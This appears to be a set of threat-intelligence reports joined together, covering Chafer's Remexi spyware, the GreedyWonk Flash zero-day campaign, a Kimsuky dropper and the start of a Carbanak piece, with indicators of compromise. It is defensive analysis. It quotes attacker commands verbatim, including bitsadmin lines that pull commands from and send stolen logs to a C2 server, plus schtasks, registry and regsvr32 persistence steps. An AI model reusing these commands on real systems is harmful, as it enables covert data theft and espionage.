history, decrypted when possible. The attackers rely heavily on Microsoft technologies on both the client and server sides: the Trojan uses standard Windows utilities like Microsoft Background Intelligent Transfer Service (BITS) bitsadmin.exe to receive commands and exfiltrate data. Its C2 is based on IIS using .asp technology to handle the victims HTTP requests. Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. They most likely used the Qt Creator IDE in a Windows environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive. XOR and RC4 encryption is used with quite long unique keys for different samples. Among all these random keys once the word salamati was also used, which means health in Farsi. Kaspersky Lab products detect the malware described in this report as Trojan. Win32.Remexi and Trojan. Win32.Agent. This blogpost is based in our original report shared with our APT Intelligence Reporting customers last November 2018. For more information please contact: intelreportskaspersky.com Technical analysis The main tool used in this campaign is an updated version of the Remexi malware, publicly reported by Symantec back in 2015. The newest modules compilation timestamp is March 2018. The developers used GCC compiler on Windows in the MinGW environment. 1/9 https://securelist.com/chafer-used-remexi-malware/89538/ mailto:intelreportskaspersky.com https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/01/25135938/190125-chafer-remexi.png Inside the binaries the compiler left references to the names of the C source file modules used: operation_reg.c, thread_command.c and thread_upload.c. Like mentioned in modules file names the malware consists of several working threads dedicated to different tasks, including C2 command parsing and data exfiltration. For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP. Proliferation So far, our telemetry hasnt provided any concrete evidence that shows us how the Remexi malware spread. However, we think its worth mentioning that for one victim we found a correlation between the execution of Remexis main module and the execution of an AutoIt script compiled as PE, which we believe may have dropped the malware. This dropper used an FTP with hardcoded credentials to receive its payload. FTP server was not accessible any more at the time of our analysis. Malware features Remexi boasts features that allow it to gather keystrokes, take screenshots of windows of interest (as defined in its configuration), steal credentials, logons and the browser history, and execute remote commands. Encryption consists of XOR with a hardcoded key for its configuration and RC4 with a predefined password for encrypting the victims data. Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions. The Remexi developers seem to rely on legitimate Microsoft utilities, which we enumerate in the table below. Utility Usage extract.exe Deploys modules from the .cab file into the working Event Cache directory bitsadmin.exe Fetches files from the C2 server to parse and execute commands. Send exfiltrated data taskkill.exe Ends working cycle of modules Persistence Persistence modules are based on scheduled tasks and system registry. Mechanisms vary for different OS versions. In the case of old Windows versions like XP, main module events.exe runs an edited XPTask.vbs Microsoft sample script to create a weekly scheduled task for itself. For newer operating systems, events.exe creates task.xml as follows: 2/9 Then it creates a Windows scheduled task using the following command: 1 schtasks.exe /create /TN \Events\\CacheTask_user_name_here /XML \ event_cache_dir_patht /F At the system registry level, modules achieve persistence by adding themselves into the key: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit when it finds possible add values to the Winlogon subkey, and in HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager. All such indicators of comprometation are mentioned in correspondent appendix below. Commands All the commands received from the C2 are first saved to an auxiliary file and then stored encrypted in the system registry. The standalone thread will decrypt and execute them. Command Description search Searches for corresponding files searchupload Encrypts and adds the corresponding files to the upload directory with the provided name uploadfile Encrypts and adds the specified file to the upload directory with the provided name uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name shellexecute Silently executes received command with cmd.exe wmic Silently executes received command with wmic.exe (for WMI commands) sendIEPass Encrypts and adds all gathered browser data into files for upload to C2 uninstall Removes files, directory and BITS tasks Cryptography 3/9 To decrypt the configuration data, the malware uses XOR with 25-character keys such as waEHleblxiQjoxFJQaIMLdHKz that are different for every sample. RC4 file encryption relies on the Windows 32 CryptoAPI, using the provided values MD5 hash as an initial vector. Among all these random keys once the word salamati was also used, which means health in Farsi. Configuration Config.ini is the file where the malware stores its encrypted configuration data. It contains the following fields: Field Sample value Description diskFullityCheckRatio 1.4 Malware working directory size threshold. It will be deleted if it becomes as large as the free available space multiplied by this ratio captureScreenTimeOut 72 Probability of full and active window screenshots being taken after mouse clickcaptureActiveWindowTimeOut 313 captureScreenQC 40 Not really used. Probably full and active window screenshot quality captureActiveQC 40 CaptureSites VPN0,0 Login0,0 mail0,0 Security0,0 Window titles of interest for screenshots, using left mouse button and Enter keypress hook important upLog.txt upSCRLog.txt upSpecial.txt upFile.txt upMSLog.txt List of files to send to C2 using bitsadmin.exe from the dedicated thread maxUpFileSizeKByte 1000000 Maximum size of file uploaded to C2 Servers http://108.61.189.174 Control server HTTP URL ZipPass KtJvOXulgibfiHk Password for uploaded zip archives 4/9 browserPasswordCheckTimeout 300000 Milliseconds to wait between gathering key3.db, cookies.sqlite and other browser files in dedicated thread Most of the parameters are self-explanatory. However, captureScreenTimeOut and captureActiveWindowTimeOut are worth describing in more detail as their programming logic is not so intuitive. One of the malware threads checks in an infinite loop if the mouse button was pressed and then also increments the integer iterator infinitely. If the mouse hooking function registers a button hit, it lets the screenshotting thread know about it through a global variable. After that, it checks if the iterator divided by (captureScreenTimeOut/captureActiveWindowTimeOut) has a remainder of 0. In that case, it takes a screenshot. Main module (events.exe) SHA256 b1fa803c19aa9f193b67232c9893ea57574a2055791b3de9f836411ce000ce31 MD5 c981273c32b581de824e1fd66a19a281 Compiled GCC compiler in MinGW environment version 2.24, timestamp set to 1970 by compiler Type I386 Windows GUI EXE Size 68 608 After checking that the malware is not already installed, it unpacks HCK.cab using the Microsoft standard utility expand.exe with the following arguments: 1 expand.exe -r \full path to HCK.cab\ -f: \event_cache_dir_path\\\ Then it decrypts config.ini file with a hardcoded 25-byte XOR key that differs for every sample. It sets keyboard and mouse hooks to its handlekeys() and MouseHookProc() functions respectively and starts several working threads: ID Thread description 1 Gets commands from C2 and saves them to a file and system registry using the bitsadmin.exe utility 2 Decrypts command from registry using RC4 with a hardcoded key, and executes it 5/9 3 Transfers screenshots from the clipboard to \Cache005 subdirectory and Unicode text from clipboard to log.txt, XOR-ed with the salamati key (health in Farsi) 4 Transfers screenshots to \Cache005 subdirectory with captureScreenTimeOut and captureScreenTimeOut frequencies 5 Checks network connection, encrypts and sends gathered logs 6 Unhooks mouse and keyboard, removes bitsadmin task 7 Checks if malwares working directory size already exceeds its threshold 8 Gathers victims credentials, visited website cache, decrypted Chrome login data, as well as Firefox databases with cookies, keys, signons and downloads The malware uses the following command to receive data from its C2: 1 2 bitsadmin.exe /TRANSFER HelpCenterDownload /DOWNLOAD /PRIORITY normal server file http://server_config/asp.asp?uihost_namenrg-adapter_info-user_name Activity logging module (Splitter.exe) This module is called from the main thread to obtain screenshots of windows whose titles are specified in the configuration CaptureSites field, bitmaps and text from clipboard, etc. SHA256 a77f9e441415dbc8a20ad66d4d00ae606faab370ffaee5604e93ed484983d3ff MD5 1ff40e79d673461cd33bd8b68f8bb5b8 Compiled 2017.08.06 11:32:36 (GMT), 2.22 Type I386 Windows Console EXE Size 101 888 Instead of implementing this auxiliary module in the form of a dynamic linked library with its corresponding exported functions, the developers decided to use a standalone executable started by events.exe with the following parameters: Parameter Description -scr Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Can capture all screen (AllScreen) or the active window (ActiveWindow) 6/9 -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration. Specifies the screen coordinates to take -zip Name of password (from configuration data) protected zip archive -clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration Data exfiltration Exfiltration is done through the bitsadmin.exe utility. The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2: 1 bitsadmin.exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal control_server/YP01_victim_fingerprint_log_file_name log_file_name Victims The vast majority of the users targeted by this new variant of Remexi appear to have Iranian IP addresses. Some of these appear to be foreign diplomatic entities based in the country. Attribution The Remexi malware has been associated with an APT actor called Chafer by Symantec. One of the human-readable encryption keys used is salamati. This is probably the Latin spelling for the word health in Farsi. Among the artifacts related to malware authors, we found in the binaries a .pdb path containing the Windows user name Mohamadreza New. Interestingly, the FBI website for wanted cybercriminals includes two Iranians called Mohammad Reza, although this could be a common name or even a false flag. Conclusions Activity of the Chafer APT group has been observed since at least 2015, but based on things like compilation timestamps and CC registration, its possible they have been active for even longer. Traditionally, Chafer has been focusing on targets inside Iran, although their interests clearly include other countries in the Middle East. We will continue to monitor how this set of activity develops in the future. 7/9 https://docs.microsoft.com/en-us/windows/desktop/Bits/bitsadmin-tool https://www.securityweek.com/iran-linked-chafer-group-expands-toolset-targets-list https://www.fbi.gov/wanted/cyber/mohammed-reza-sabahi https://www.fbi.gov/wanted/cyber/mohammad-reza-rezakhah Indicators of compromise File hashes events.exe 028515d12e9d59d272a2538045d1f636 03055149340b7a1fd218006c98b30482 25469ddaeff0dd3edb0f39bbe1dcdc46 41b2339950d50cf678c0e5b34e68f537 4bf178f778255b6e72a317c2eb8f4103 7d1efce9c06a310627f47e7d70543aaf 9f313e8ef91ac899a27575bc5af64051 aa6246dc04e9089e366cc57a447fc3a4 c981273c32b581de824e1fd66a19a281 dcb0ea3a540205ad11f32b67030c1e5a splitter.exe c6721344af76403e9a7d816502dca1c8 d3a2b41b1cd953d254c0fc88071e5027 1FF40E79D673461CD33BD8B68F8BB5B8 ecae141bb068131108c1cd826c82d88b 12477223678e4a41020e66faebd3dd95 460211f1c19f8b213ffaafcdda2a7295 53e035273164f24c200262d61fa374ca Domains and IPs 108.61.189.174 Hardcoded mutexes Local\TEMPDAHCE01 Local\zaapr Local\reezaaprLog Local\Temp-00-aa-123-mr-bbb Scheduled task CacheTask_user_name_here Directory with malicious modules Main malware directory: APPDATA\Microsoft\Event Cache Commands from C2 in subdirectory: Cache001\cde00.acf 8/9 Events.exe persistence records in Windows system registry keys HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Activity Manager Victims fingerprints stored in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData or HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\PidRegData RC4 encrypted C2 commands stored in HKCU\SOFTWARE\Microsoft\Fax HTTP requests template http://server_ip_from_config/asp.asp?uihost_namenrg-adapter_info-user_name And bitsadmin.exe task to external network resources, addressed by IP addresses 9/9 Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities Executive Summary Technical analysis Proliferation Malware features Persistence Commands Cryptography Configuration Main module (events.exe) Activity logging module (Splitter.exe) Data exfiltration Victims Attribution Conclusions Indicators of compromise File hashes Domains and IPs Hardcoded mutexes Scheduled task Directory with malicious modules Events.exe persistence records in Windows system registry keys Victims fingerprints stored in RC4 encrypted C2 commands stored in HTTP requests template Operation GreedyWonk: Multiple Economic and Foreign Policy Sites Compromised, Serving Up Flash Zero-Day Exploit Less than a week after uncovering Operation SnowMan, the FireEye Dynamic Threat Intelligence cloud has identified another targeted attack campaign this one exploiting a zero-day vulnerability in Flash. We are collaborating with Adobe security on this issue. Adobe has assigned the CVE identifier CVE-2014- 0502 to this vulnerability and released a security bulletin. As of this blog post, visitors to at least three nonprofit institutions two of which focus on matters of national security and public policy were redirected to an exploit server hosting the zero-day exploit.
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Were dubbing this attack Operation GreedyWonk.
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Were dubbing this attack Operation GreedyWonk. We believe GreedyWonk may be related to a May 2012 campaign outlined by ShadowServer, based on consistencies in tradecraft (particularly with the websites chosen for this strategic Web compromise), attack infrastructure, and malware configuration properties. The group behind this campaign appears to have sufficient resources (such as access to zero-day exploits) and a determination to infect visitors to foreign and public policy websites. The threat actors likely sought to infect users to these sites for follow-on data theft, including information related to defense and public policy matters. Discovery On Feb. 13, FireEye identified a zero-day Adobe Flash exploit that affects the latest version of the Flash Player (12.0.0.4 and 11.7.700.261). Visitors to the Peter G. Peterson Institute for International Economics (www.piie[. ]com) were redirected to an exploit server hosting this Flash zero-day through a hidden iframe. We subsequently found that the American Research Center in Egypt (www.arce[. ]org) and the Smith Richardson Foundation (www.srf[. ]org) also redirected visitors the exploit server. All three organizations are nonprofit institutions the Peterson Institute and Smith Richardson Foundation engage in national security and public policy issues. Mitigation To bypass Windows Address Space Layout Randomization (ASLR) protections, this exploit targets computers with any of the following configurations: Windows XP Windows 7 and Java 1.6 http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html http://helpx.adobe.com/security/products/flash-player/apsb14-07.html http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/ Windows 7 and an out-of-date version of Microsoft Office 2007 or 2010 Users can mitigate the threat by upgrading from Windows XP and updating Java and Office. If you have Java 1.6, update Java to the latest 1.7 version. If you are using an out-of-date Microsoft Office 2007 or 2010, update Microsoft Office to the latest version. These mitigations do not patch the underlying vulnerability. But by breaking the exploits ASLR-bypass measures, they do prevent the current in-the-wild exploit from functioning. Vulnerability analysis GreedyWonk targets a previously unknown vulnerability in Adobe Flash. The vulnerability permits an attacker to overwrite the vftable pointer of a Flash object to redirect code execution. ASLR bypass The attack uses only known ASLR bypasses. Details of these techniques are available from our previous blog post on the subject (in the Non-ASLR modules section). For Windows XP, the attackers build a return-oriented programming (ROP) chain of MSVCRT (Visual C runtime) gadgets with hard-coded base addresses for English (en) and Chinese (zh-cn and zh-tw). On Windows 7, the attackers use a hard-coded ROP chain for MSVCR71.dll (Visual C runtime) if the user has Java 1.6, and a hard-coded ROP chain for HXDS.dll (Help Data Services Module) if the user has Microsoft Office 2007 or 2010. Java 1.6 is no longer supported and does not receive security updates. In addition to the MSVCR71.dll ASLR bypass, a variety of widely exploited code-execution vulnerabilities exist in Java 1.6. Thats why FireEye strongly recommends upgrading to Java 1.7. The Microsoft Office HXDS.dll ASLR bypass was patched at the end of 2013. More details about this bypass are addressed by Microsofts Security Bulletin MS13-106 and an accompanying blog entry. FireEye strongly recommends updating Microsoft Office 2007 and 2010 with the latest patches. Shellcode analysis The shellcode is downloaded in ActionScript as a GIF image. Once ROP marks the shellcode as executable using Windows VirtualProtect function, it downloads an executable via the InternetOpenURLA and InternetReadFile functions. Then it writes the file to disk with CreateFileA and WriteFile functions. Finally, it runs the file using the WinExec function. http://www.fireeye.com/blog/corporate/executive-perspectives/2014/02/windows-xp-catch-if-you-cannot-patch.html http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html http://technet.microsoft.com/en-us/security/bulletin/ms13-106 https://blogs.technet.com/b/srd/archive/2013/12/09/ms13-106-another-aslr-bypass-is-gone.aspx PlugX/Kaba payload analysis Once the exploit succeeds, a PlugX/Kaba remote access tool (RAT) payload with the MD5 hash 507aed81e3106da8c50efb3a045c5e2b is installed on the compromised endpoint. This PlugX sample was compiled on Feb. 12, one day before we first observed it, indicating that it was deployed specifically for this campaign. This PlugX payload was configured with the following command-and-control (CnC) domains: java.ns1[. ]name adservice.no-ip[. ]org wmi.ns01[. ]us Sample callback traffic was as follows: POST /D28419029043311C6F8BF9F5 HTTP/1.1 Accept: / HHV1: 0 HHV2: 0 HHV3: 61456 HHV4: 1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 InfoPath.2 .NET CLR 2.0.50727 SV1) Host: java.ns1.name Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Campaign analysis Both java.ns1[. ]name and adservice.no-ip[. ]org resolved to 74.126.177.68 on Feb. 18, 2014. Passive DNS analysis reveals that the domain wmi.ns01.us previously resolved to 103.246.246.103 between July 4, 2013 and July 15, 2013 and 192.74.246.219 on Feb. 17, 2014. java.ns1[. ]name also resolved to 192.74.246.219 on February 18. Domain First Seen Last Seen IP Address adservice.no-ip[. ]org 2014-02-18 2014-02-19 74.126.177.68 java.ns1[. ]name 2014-02-18 2014-02-19 74.126.177.68 java.ns1[. ]name 2014-02-18 2014-02-18 192.74.246.219 wmi.ns01[. ]us 2014-02-17 2014-02-17 192.74.246.219 proxy.ddns[. ]info 2013-05-02 2014-02-18 103.246.246.103 updatedns.ns02[. ]us 2013-09-06 2013-09-06 103.246.246.103 updatedns.ns01[. ]us 2013-09-06 2013-09-06 103.246.246.103 wmi.ns01[. ]us 2013-07-04 2013-07-15 103.246.246.103 Further research uncovered a number of older malware samples connecting to the same domain wmi.ns01[. ]us.
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MD5 Family Compile Time Alternate C2s 7995a9a6a889b914e208eb924e459ebc PlugX 2012-06-09 fuckchina.govnb[.
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MD5 Family Compile Time Alternate C2s 7995a9a6a889b914e208eb924e459ebc PlugX 2012-06-09 fuckchina.govnb[. ]com bf60b8d26bc0c94dda2e3471de6ec977 PlugX 2010-03-15 microsafes.no-ip[. ]org fd69793bd63c44bbb22f9c4d46873252 Poison Ivy 2013-03-07 N/A 88b375e3b5c50a3e6c881bc96c926928 Poison Ivy 2012-06-11 N/A cd07a9e49b1f909e1bd9e39a7a6e56b4 Poison Ivy 2012-06-11 N/A Domain First Seen Last Seen IP Address fuckchina.govnb[. ]com 2013-12-11 2013-12-11 204.200.222.136 microsafes.no-ip[. ]org 2014-02-12 2014-02-12 74.126.177.70 microsafes.no-ip[. ]org 2013-12-04 2013-12-04 74.126.177.241 The Poison Ivy variants that connected to the domain wmi.ns01[. ]us had the following unique configuration properties: MD5 Password Mutex fd69793bd63c44bbb22f9c4d46873252 java7 NBCDFE 88b375e3b5c50a3e6c881bc96c926928 admin ytf333 cd07a9e49b1f909e1bd9e39a7a6e56b4 admin ytf333 We found a related Poison Ivy sample (MD5 8936c87a08ffa56d19fdb87588e35952) with the same java7 password, which was dropped by an Adobe Flash exploit (CVE-2012-0779). In this previous incident, visitors to the Center for Defense Information website (www.cdi[. ]org also an organization involved in defense matters were redirected to an exploit server at 159.54.62.92. This exploit server hosted a Flash exploit file named BrightBalls.swf (MD5 1ec5141051776ec9092db92050192758). This exploit, in turn, dropped the Poison Ivy variant. In addition to using the same password java7, this variant was configured with the mutex with the similar pattern of YFdsff and connected to a CnC server at windows.ddns[. ]us. Using passive DNS analysis, we see the domains windows.ddns[. ]us and wmi.ns01[. ]us both resolved to 76.73.80.188 in mid-2012. Domain First Seen Last Seen IP Address wmi.ns01.us 2012-07-07 2012-09-19 76.73.80.188 windows.ddns.us 2012-05-23 2012-06-10 76.73.80.188 http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/ During another earlier compromise of the same www.cdi.org website, visitors were redirected to a Java exploit test.jar (MD5 7d810e3564c4eb95bcb3d11ce191208e). This jar file exploited CVE-2012-0507 and dropped a Poison Ivy payload with the hash (MD5 52aa791a524b61b129344f10b4712f52). This Poison Ivy variant connected to a CnC server at ids.ns01[. ]us. The domain ids.ns01[. ]us also overlaps with the domain wmi.ns01[. ]us on the IP 194.183.224.75. Domain First Seen Last Seen IP Address wmi.ns01[. ]us 2012-07-03 2012-07-04 194.183.224.75 ids.ns01[. ]us 2012-04-23 2012-05-18 194.183.224.75 The Poison Ivy sample referenced above (MD5 fd69793bd63c44bbb22f9c4d46873252) was delivered via an exploit chain that began with a redirect from the Center for European Policy Studies (www.ceps[. ]be). In this case, visitors were redirected from www.ceps[. ]be to a Java exploit hosted on shop.fujifilm[. ]be. In what is certainly not a coincidence, we also observed www.arce[. ]org (one of the sites redirecting to the current Flash exploit) also redirect visitors to the Java exploit on shop.fujifilm[. ]be in 2013. Conclusion This threat actor clearly seeks out and compromises websites of organizations related to international security policy, defense topics, and other non-profit sociocultural issues. The actor either maintains persistence on these sites for extended periods of time or is able to re-compromise them periodically. This actor also has early access to a number of zero-day exploits, including Flash and Java, and deploys a variety of malware families on compromised systems. Based on these and other observations, we conclude that this actor has the tradecraft abilities and resources to remain a credible threat in at least the mid- term. http://www.fireeye.com/blog/wp-content/uploads/2014/02/greedywonk-campaign-v2.png 1/9 Kimsuky Espionage Campaign inquest.net/blog/2021/08/23/kimsuky-espionage-campaign A few days ago, we found an exciting Javascript file masquerading as a PDF that, upon activation, will drop and display a PDF (to maintain the ruse) as well as drop an executable. The document is a lure for the Korean Foreign Ministry document and its newsletter. The same attack was reported earlier by Malwarebytes in June. Apparently, the threat actor behind this campaign is still using this infrastructure and infection technique. File Type Javascript Sha 256 20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd Size 27.31 MB (28634023 bytes) Image 1: Document images when opened Image 2: Virustotal The document shows shallow detection on the VT service. At the beginning of the check, the detection showed 3/58. We found this very interesting, so we decided to delve deeper into the study of its technical composition. https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign https://blog.malwarebytes.com/threat-intelligence/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/ https://www.virustotal.com/gui/file/20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd/detection 2/9 Image 3: Opening the document in a Hex editor, we see that it is filled with data that is encoded in Base64. In order to continue our study, it is necessary to extract this data to see what it contains. Also, in the tail of the file we find the executable code, which will run when opened. Image 4: Embedded PowerShell code To ease research efforts, we present the previously mentioned executable code in a more human-readable format. 3/9 Image 5: PowerShell Script In Image 5, you can see that the program will launch Adobe Reader, decode the Base64 payload, and run it in stealth mode. But to understand what it launches, we need to extract the payload from the script. As a reminder, the file size is 27.31 MB, which is quite large, not a small effort for manual data retrieval. Therefore, the easiest way is to write a simple Python script to find Base64 encoded blocks and decode them. Image 6: Base64 encoded data blocks 4/9 Image 7: Base64 data import sys, base64 def openfile (s): sys.stderr.write(s \n) sys.stderr.write(Usage: sinfileoutfile\n sys.argv[0]) sys.exit(1) def base64Dec(dump,result): result base64.b64decode(dump) return(result) if __name__ __main__: if len(sys.argv) 3: openfile(invalid argument count) outfile sys.argv.pop() infile sys.argv.pop() file open(infile,rb) dump bytearray(file.read()) result bytearray(len(dump)) opendata base64Dec(dump,result) new open(outfile,wb) new.write(opendata) new.close() file.close() We can extract the data and decode it with a small Python script as a result, we were able to retrieve two files from the encoded string. Sha 256 3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea File Type PDF Size 20.23 MB (21214792 bytes) File 1 If we take a close look at the first file (3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea) , it is clear that it is legitimate and does not represent any malware load. It was uploaded to VirusTotal on May 27 of this year. Obviously, it is used here as a lure to hide malicious actions at runtime. The second file we received is also data encoded behind two layers of Base64. https://www.virustotal.com/gui/file/3251c02ff0fc90dccd79b94fb2064fb3d7f870c69192ac1f10ad136a43c1ccea/detection 5/9 Image 8: The second data block is Base64 encoded twice Sha 256 0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 File Type DLL x64 Size 190.00 KB (194560 bytes) File 2 Executable library packed with UPX. But unpacking this sample is not very difficult. And so we got the payload. Sha 256 ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 File Type DLL x64 Size 474.50 KB (485888 bytes) File 2 unpacked The executable is a Kimsuky espionage tool. Image 8: Extensions for document search The malicious document looks for documents(.hwp, .pdf, .doc, .xls, .ppt, .txt) in all directories, including USB drives, with the aim of stealing them. \REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce \REGISTRY\USER\1077083310-4456979867-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\ESTsoftAutoUpdate regsvr32.exe /s \C:\\ProgramData\\Software\\ESTsoft\\Common\\ESTCommon.dll\ The program creates the following registry keys. Thus, after each start of the system, the library will be restarted.
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Image 9: Keylogger Artifacts We see the unique strings that the keylogger uses to record the data entered by the user.
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data/reports_final/0239.txt
Image 9: Keylogger Artifacts We see the unique strings that the keylogger uses to record the data entered by the user. We find a lot of encrypted strings in the executable file. https://www.virustotal.com/gui/file/0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6/detection https://www.virustotal.com/gui/file/ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5/detection 6/9 Image 10: Encrypted strings We managed to decipher all these lines. Here are some of the most interesting ones. Wind.d.dx64 temp .bat \r\n :repeat\r\n del s\r\n if exist s goto repeat\r\n del f0 d-02d-02d_02d-02d-02d-03d kernel32.dll SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ConsentPromptBehaviorAdmin PromptOnSecureDesktop SeDebugPrivilege \r1 regsvr32.exe .zip .enc .tmp list.fdb KeyboardMonitor ScreenMonitor FolderMonitor UsbMonitor 0602000000A4000052534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309D570ADB6EEA7CACB5A59A489B9E4B8D80 7/9 1B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF7 7DAD7B50F44B43DA8F1326E64C53DAA51807A02751E2 0702000000A400005253413200040000010001006D4582142BA47753E19FF39DBF232B7BAEE5141CC59AB328CA25EC21BEF955FE091F90B8FF3C3D8CD00973E3 PDF-1.7..4 0 obj User32.dll SetProcessDPIAware 2.0 bs/?map1sp2s-s-vs.d cache list.ldb GetProcAddress Downloads Documents AppData\\Local\\Microsoft\\Windows\\INetCache\\IE flags Mozilla/5.0 (Windows NT 10.0 Win64 x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Powershell.exe start-process regsvr32.exe -argumentlist \ AppData\\Local\\Microsoft\\Windows LoadLibraryA LoadLibraryW CreateProcessW GetTempFileNameW GetTempPathW CopyFileW MoveFileExW CreateFileW DeleteFileW Process32FirstW Process32NextW CreateMutexW GetModuleHandleW GetStartupInfoW OpenMutexW FindFirstFileW FindNextFileW GetWindowsDirectoryW 8/9 GetVolumeInformationW GetModuleFileNameA CreateProcessA GetTempFileNameA GetTempPathA CopyFileA URLDownloadToFileA URLDownloadToFileW urlmon.dll InternetWriteFile InternetCloseHandle InternetReadFile InternetSetOptionExA HttpSendRequestA AdjustTokenPrivileges texts.letterpaper.press / Software\\ESTsoft\\Common S_Regsvr32 SpyRegsvr32-20210505162735 powershell.exe start-process regsvr32.exe -argumentlist \/s s\ -verb runas ESTCommon.dll Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce ESTsoftAutoUpdate Debug lines: minkernel\\crts\\ucrt\\inc\\corecrt_internal_strtox.h IoCs hxxp://texts.letterpaper[. ]press Javascript files 20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd e5bd835a7f26ca450770fd61effe22a88f05f12bd61238481b42b6b8d2e8cc3b a30afeea0bb774b975c0f80273200272e0bc34e3d93caed70dc7356fc156ffc3 0a4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 Unpacked library. Kimsuky Spy. 0A4f2cff4d4613c08b39c9f18253af0fd356697368eecddf7c0fa560386377e6 fa4d05e42778581d931f07bb213389f8e885f3c779b9b465ce177dd8750065e2 Unpacked library. Kimsuky Spy. ae50cf4339ff2f2b3a50cf8e8027b818b18a0582e143e842bf41fdb00e0bfba5 9/9 Tags malware-analysis threat-hunting https://inquest.net/taxonomy/term/4 https://inquest.net/taxonomy/term/2 New Carbanak / Anunak Attack Methodology www.trustwave.com /Resources/SpiderLabs-Blog/New-Carbanak-/-Anunak-Attack-Methodology/ Posted By Brian Hussey In the last month Trustwave was engaged by two separate hospitality clients, and one restaurant chain for investigations by an unknown attacker or attackers. The modus operandi for all three investigations were very similar and appear to be a new Carbanak gang attack methodology, focused on the hospitality industry. Carbanak is a prolific crime group, well known for stealing over one billion dollars from banks in 2015 (Kaspersky estimated loss) and more recently orchestrating an attack on the Oracle Micros POS support site that put over one million Point of Sale systems at risk. The current investigations are still underway but the known indicators of compromise in these new attacks will be presented below. At the time of investigation this malware was not correctly detected by any existing antivirus engines, and domains / IPs were not found in any commercial threat intelligence feeds. It is also interesting to note that just during the time that it took to write this blog, Carbanak returned to their victims with significantly upgraded malware. This demonstrates the speed and versatility of this threat group. We have included analysis for two separate versions of AdobeUpdateManagementTool.vbs in this report. ( The malware used following the initial infection) Version two arrived only two weeks after we began investigating this new campaign. Attack Vector The attacks began via social engineering. An attacker called the customer contact line saying that they were unable to use the online reservation system and requested to send their information to the agent via email. The attacker stayed on the line until the agent opened the attachment contained in the email and hung up when his attack was confirmed successful. The email attachment was a malicious Word Document that contained an encoded .VBS script capable of stealing system information, desktop screenshots, and to download additional malware. A screenshot of the malicious Word document is shown below. The malicious VB Script will use macros to search for instances of Microsoft Word running on the system, if found, it will clear the existing text and replace it with the following text. The victim system will then reach out to http://95.215.47.105 to retrieve additional malware called AdobeUpdateManagementTool.vbs. AdobeUpdateManagementTool.vbs - Indicators of compromise: File name: adobeupdatemanagementtool.vbs SHA-1 8d7c90a699b4055e9c7db4571588c765c1cf2358 (Version 1) SHA-1 a91416185d2565ce991fc2c0dd9591c71fd1f627 (Version 2) Creates folder: temp\WindowsUpdate Creates folder: temp\WindowsUpdate_\Dropebox Adds file to WindowsUpdate folder: vbs Adds persistence mechanism to the CURRENT_USER registry hive in the CurrentVersion\Run and CurrentVersion\RunOnce keys to autostart AdobeUpdateManagementTool. A scheduled task is created named SysChecks which calls the vbs A service is created named ADOBEUPDTOOL which calls the AdobeUpdateManagementTool.vbs The malware drops a Shockwave Flash icon and 